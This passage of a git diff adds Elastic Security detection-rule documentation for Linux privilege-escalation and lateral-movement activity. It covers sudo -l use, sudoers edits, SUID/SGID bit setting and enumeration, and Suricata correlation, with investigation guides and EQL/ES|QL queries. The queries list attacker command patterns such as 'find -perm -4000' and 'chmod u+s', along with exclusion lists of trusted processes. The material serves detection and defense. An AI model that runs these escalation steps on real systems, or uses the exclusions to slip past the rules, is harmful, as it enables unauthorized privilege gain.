permissions or sudoers configuration that might indicate unauthorized modifications. +- Correlate this event with other logs or alerts to identify any subsequent suspicious activities that might suggest privilege escalation attempts. + + +*False positive analysis* + + +- System administrators frequently use the sudo -l command to verify their permissions. To reduce noise, consider excluding specific user accounts or groups known for legitimate use. +- Automated scripts or configuration management tools may execute sudo -l as part of routine checks. Identify these scripts and exclude their execution paths or parent processes from the rule. +- Some software installations or updates might invoke sudo -l to check permissions. Monitor and document these processes, then create exceptions for known benign software. +- Developers or testers might use sudo -l during debugging or testing phases. Coordinate with development teams to identify and exclude these activities when they are part of approved workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Review the sudoers file on the affected system to identify any unauthorized or suspicious entries that may have been added or modified, and revert any changes to their original state. +- Terminate any suspicious processes initiated by the user who executed the `sudo -l` command, especially if they are not part of normal operations. +- Reset the password of the user account involved in the alert to prevent further unauthorized access. +- Conduct a thorough review of system logs to identify any additional suspicious activity or commands executed by the user, and assess the scope of potential compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement additional monitoring and alerting for similar `sudo -l` command executions across the environment to enhance detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and process.name == "sudo" and process.args == "-l" and + process.args_count == 2 and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.args == "dpkg" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudoers-file-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudoers-file-activity.asciidoc new file mode 100644 index 0000000000..59493093c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sudoers-file-activity.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-sudoers-file-activity]] +=== Sudoers File Activity + +A sudoers file specifies the commands that users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sudoers File Activity* + + +The sudoers file is crucial in Unix-like systems, defining user permissions for executing commands with elevated privileges. Adversaries may exploit this by altering the file to gain unauthorized access or escalate privileges. The detection rule identifies suspicious changes to the sudoers file, excluding legitimate processes, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path that triggered the alert, focusing on /etc/sudoers* or /private/etc/sudoers*. +- Examine the process information associated with the change event, particularly the process.name and process.executable fields, to determine if the modification was made by a suspicious or unauthorized process. +- Check the user account associated with the process that made the change to the sudoers file to assess if the account has a legitimate reason to modify the file. +- Investigate recent login activity and user behavior for the account involved in the modification to identify any anomalies or signs of compromise. +- Review system logs around the time of the alert to gather additional context on what other activities occurred on the system, which might indicate a broader attack or compromise. +- Assess the current state of the sudoers file to identify any unauthorized or suspicious entries that could indicate privilege escalation attempts. + + +*False positive analysis* + + +- System updates and package installations can trigger changes to the sudoers file. Exclude processes like dpkg, yum, dnf, and platform-python from triggering alerts as they are commonly involved in legitimate updates. +- Configuration management tools such as Puppet and Chef may modify the sudoers file as part of their normal operations. Exclude process executables like /opt/chef/embedded/bin/ruby and /opt/puppetlabs/puppet/bin/ruby to prevent false positives. +- Docker daemon processes might interact with the sudoers file during container operations. Exclude /usr/bin/dockerd to avoid unnecessary alerts related to Docker activities. +- Regularly review and update the exclusion list to ensure it reflects the current environment and operational tools, minimizing false positives while maintaining security vigilance. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Review the recent changes to the sudoers file to identify unauthorized modifications and revert them to the last known good configuration. +- Conduct a thorough examination of system logs to identify any unauthorized access or actions performed using elevated privileges, focusing on the time frame of the detected change. +- Reset passwords and review access permissions for all users with sudo privileges to ensure no unauthorized accounts have been added or existing accounts have been compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to modify the sudoers file or other privilege escalation activities. +- Review and update security policies and configurations to prevent similar incidents, ensuring that only authorized processes can modify the sudoers file. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("linux", "macos") and event.type in ("creation", "change") and +file.path like ("/etc/sudoers*", "/private/etc/sudoers*") and not ( + process.name like ("dpkg", "platform-python*", "puppet", "yum", "dnf", "python*") or + process.executable in ( + "/opt/chef/embedded/bin/ruby", "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/dockerd", + "/usr/bin/podman", "/opt/teleport/system/bin/teleport", "/usr/sbin/dockerd", + "/usr/local/bin/dockerd", "/usr/local/bin/teleport", "./usr/bin/podman", "/dev/fd/5", + "/usr/bin/rpm", "/usr/bin/microdnf", "/opt/morpheus-node/embedded/bin/chef-client", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/salt-minion" + ) or + process.executable like ("./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/teleport/*/bin/teleport") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sgid-bit-set.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sgid-bit-set.asciidoc new file mode 100644 index 0000000000..ac9b539c3a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sgid-bit-set.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-suid-sgid-bit-set]] +=== SUID/SGID Bit Set + +An adversary may add the setuid or setgid bit to a file or directory in order to run a file with the privileges of the owning user or group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setuid or setgid bit to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SUID/SGID Bit Set* + + +The SUID/SGID bits in Unix-like systems allow files to execute with the privileges of the file owner or group, enabling necessary elevated permissions for certain applications. However, adversaries can exploit these bits to escalate privileges by modifying files to run with higher access rights. The detection rule identifies suspicious use of commands like `chmod` or `install` to set these bits, excluding known safe paths, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the user who executed the command, focusing on the process.name and process.args fields to understand the specific command and arguments used. +- Check the process.parent.executable field to determine the parent process and assess whether it is a known legitimate process or potentially malicious. +- Investigate the file or directory targeted by the SUID/SGID bit modification by examining the process.args field for any unusual or sensitive paths that could indicate privilege escalation attempts. +- Correlate the event with other recent activities from the same user or system to identify any patterns or anomalies that could suggest malicious behavior. +- Verify if the file or directory with modified SUID/SGID bits is part of a known safe path as listed in the exclusion criteria, and assess whether the modification is expected or authorized. + + +*False positive analysis* + + +- System package installations or updates may trigger the rule when legitimate processes like package managers set SUID/SGID bits. To handle this, exclude paths related to package management, such as "/var/lib/dpkg/info*". +- Docker or container-related operations might set these bits during normal operations. Exclude paths like "/var/lib/docker/*" to prevent false positives from container management activities. +- Temporary directories used during system operations, such as "/tmp/newroot/*", can cause false alerts. Exclude these paths to avoid unnecessary alerts from temporary system processes. +- Specific system services or applications, like "/usr/bin/ssh-agent", may require SUID/SGID bits for legitimate functionality. Exclude these known safe executables to reduce false positives. +- Custom scripts or applications that are known to require elevated permissions should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Identify and terminate any suspicious processes associated with the use of `chmod` or `install` commands that have set the SUID/SGID bits, especially those not in the excluded safe paths. +- Review and revert any unauthorized changes to file permissions, specifically those with SUID/SGID bits set, to their original state. +- Conduct a thorough audit of user accounts and privileges on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. +- Implement additional monitoring on the affected system to detect any further attempts to exploit SUID/SGID bits, focusing on the specific commands and arguments identified in the detection query. +- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or persistence mechanisms that may have been established by the adversary. +- Apply patches and updates to the affected system and any vulnerable applications to mitigate known vulnerabilities that could be exploited in conjunction with SUID/SGID bit abuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "chmod" and (process.args : ("+s", "u+s", "g+s") or process.args regex "[24][0-9]{3}")) or + (process.name == "install" and process.args : "-m" and + (process.args : ("+s", "u+s", "g+s") or process.args regex "[24][0-9]{3}")) +) and not ( + process.parent.executable : ( + "/usr/NX/*", "/var/lib/docker/*", "/var/lib/dpkg/info*", "/tmp/newroot/*", "/usr/bin/find", "/opt/commvault/Base/Galaxy", + "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service", + "/opt/metallic/Base/Galaxy" + ) or + process.args : ( + "/run/*", "/var/run/*", "/usr/bin/keybase-redirector", "/usr/local/share/fonts", "/usr/bin/ssh-agent" + ) or + process.parent.args like ("/var/lib/dpkg/info/*", "/var/tmp/rpm-tmp*", "/usr/NX/*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sguid-enumeration-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sguid-enumeration-detected.asciidoc new file mode 100644 index 0000000000..5c921ee612 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suid-sguid-enumeration-detected.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-suid-sguid-enumeration-detected]] +=== SUID/SGUID Enumeration Detected + +This rule monitors for the usage of the "find" command in conjunction with SUID and SGUID permission arguments. SUID (Set User ID) and SGID (Set Group ID) are special permissions in Linux that allow a program to execute with the privileges of the file owner or group, respectively, rather than the privileges of the user running the program. In case an attacker is able to enumerate and find a binary that is misconfigured, they might be able to leverage this misconfiguration to escalate privileges by exploiting vulnerabilities or built-in features in the privileged program. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SUID/SGUID Enumeration Detected* + + +In Linux, SUID and SGID permissions allow programs to execute with elevated privileges, potentially exposing systems to privilege escalation if misconfigured. Adversaries exploit this by searching for binaries with these permissions to gain unauthorized access. The detection rule identifies suspicious use of the "find" command to locate such binaries, flagging potential misuse by monitoring specific command arguments and execution contexts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the "find" command with SUID/SGID permission arguments by checking the process.name and process.args fields. +- Identify the user and group context in which the command was executed by examining the user.Ext.real.id and group.Ext.real.id fields to determine if the command was run by a non-root user. +- Analyze the command's arguments to understand the scope of the search, focusing on the process.args field to see if specific directories or files were targeted. +- Check for any other suspicious activities or commands executed by the same user or process around the same time to identify potential follow-up actions or privilege escalation attempts. +- Investigate the system for any newly created or modified files with SUID/SGID permissions that could indicate successful privilege escalation or preparation for future attacks. + + +*False positive analysis* + + +- System administrators or security tools may use the find command with SUID/SGID arguments for legitimate audits. To handle this, create exceptions for known administrative users or specific scripts that regularly perform these checks. +- Automated scripts or cron jobs might execute the find command with these arguments as part of routine maintenance tasks. Identify these scripts and exclude them from monitoring by specifying their process paths or user IDs. +- Some legitimate software installations or updates might temporarily use the find command with SUID/SGID arguments. Monitor installation logs and exclude these processes by correlating them with known software update activities. +- Developers or testers might use the find command in development environments to test security configurations. Exclude these environments from the rule by specifying their hostnames or IP addresses in the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the "find" command with SUID/SGID arguments. +- Conduct a thorough review of the system's SUID/SGID binaries to identify any misconfigurations or unauthorized changes. Remove or correct permissions on any binaries that are not required to have elevated privileges. +- Implement additional monitoring on the affected system to detect any further attempts to exploit SUID/SGID binaries, focusing on process execution and permission changes. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the scope of the compromise and identify any other affected systems. +- Apply patches and updates to the system and any vulnerable applications to mitigate known vulnerabilities that could be exploited through SUID/SGID binaries. +- Review and enhance access controls and privilege management policies to minimize the risk of privilege escalation through misconfigured binaries in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "find" and process.args : "-perm" and process.args : ( + "/6000", "-6000", "/4000", "-4000", "/2000", "-2000", "/u=s", "-u=s", "/g=s", "-g=s", "/u=s,g=s", "/g=s,u=s" +) and not ( + user.Ext.real.id == "0" or group.Ext.real.id == "0" or process.args_count >= 12 or + (process.args : "/usr/bin/pkexec" and process.args : "-xdev" and process.args_count == 7) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suricata-and-elastic-defend-network-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suricata-and-elastic-defend-network-correlation.asciidoc new file mode 100644 index 0000000000..1c42c50420 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suricata-and-elastic-defend-network-correlation.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-suricata-and-elastic-defend-network-correlation]] +=== Suricata and Elastic Defend Network Correlation + +This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* filebeat-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0011/ +* https://www.elastic.co/docs/reference/integrations/suricata +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Suricata +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suricata and Elastic Defend Network Correlation* + + + +*Possible investigation steps* + + +- Investigate in the Timeline feature the two events matching this correlation (Suricata and Elastic Defend). +- Review the process details like command_line, privileges, global relevance and reputation. +- Assess the destination.ip reputation and global relevance. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Trusted system or third party processes performing network activity that looks like beaconing. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Implement network-level controls to block traffic to the destination.ip. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=5s + [network where data_stream.dataset == "suricata.eve" and event.kind == "alert" and + event.severity != 3 and source.ip != null and destination.ip != null and + not rule.name in ("ET INFO SMB2 NT Create AndX Request For a Powershell .ps1 File", "ET SCAN MS Terminal Server Traffic on Non-standard Port")] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted") and + not process.executable in ("System", "C:\\Program Files (x86)\\Admin Arsenal\\PDQ Inventory\\PDQInventoryService.exe") and + not process.executable : "C:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-*\\exec\\PDQInventoryScanner.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspected-lateral-movement-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspected-lateral-movement-from-compromised-host.asciidoc new file mode 100644 index 0000000000..cc4ccdc523 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspected-lateral-movement-from-compromised-host.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-suspected-lateral-movement-from-compromised-host]] +=== Suspected Lateral Movement from Compromised Host + +Detects potential lateral movement or post-compromise activity by correlating alerts where the host.ip of one alert matches the source.ip of a subsequent alert. This behavior may indicate a compromised host being used to authenticate to another system or resource, including cloud services. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 29m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspected Lateral Movement from Compromised Host* + + +The detection rule uses alert data to determine when multiple alerts from different integrations involving the same user.name are triggered. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different modules and rules that triggered the alert. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Vulnerability scanners. +- Jump hosts, NAT gateways and proxies. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* + +// any alerts excluding deprecated, low severity and threat_match rules +| where kibana.alert.rule.name is not null and kibana.alert.risk_score > 21 and + kibana.alert.rule.type != "threat_match" and + not kibana.alert.rule.name like "Deprecated - *" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) and + not kibana.alert.rule.name in ("Abnormally Large DNS Response", "Web Application Suspicious Activity: No User Agent") + +// alerts with existing source.ip or host.ip +| eval alert_source_ip = CASE(source.ip is not null, source.ip, null), + alert_host_ip = CASE(host.ip is not null and source.ip is null, host.ip, null) + +| eval Esql.source_ip = COALESCE(alert_source_ip, alert_host_ip) +| where Esql.source_ip is not null and Esql.source_ip != "127.0.0.1" and Esql.source_ip != "::1" + +| stats Esql.alerts_count = 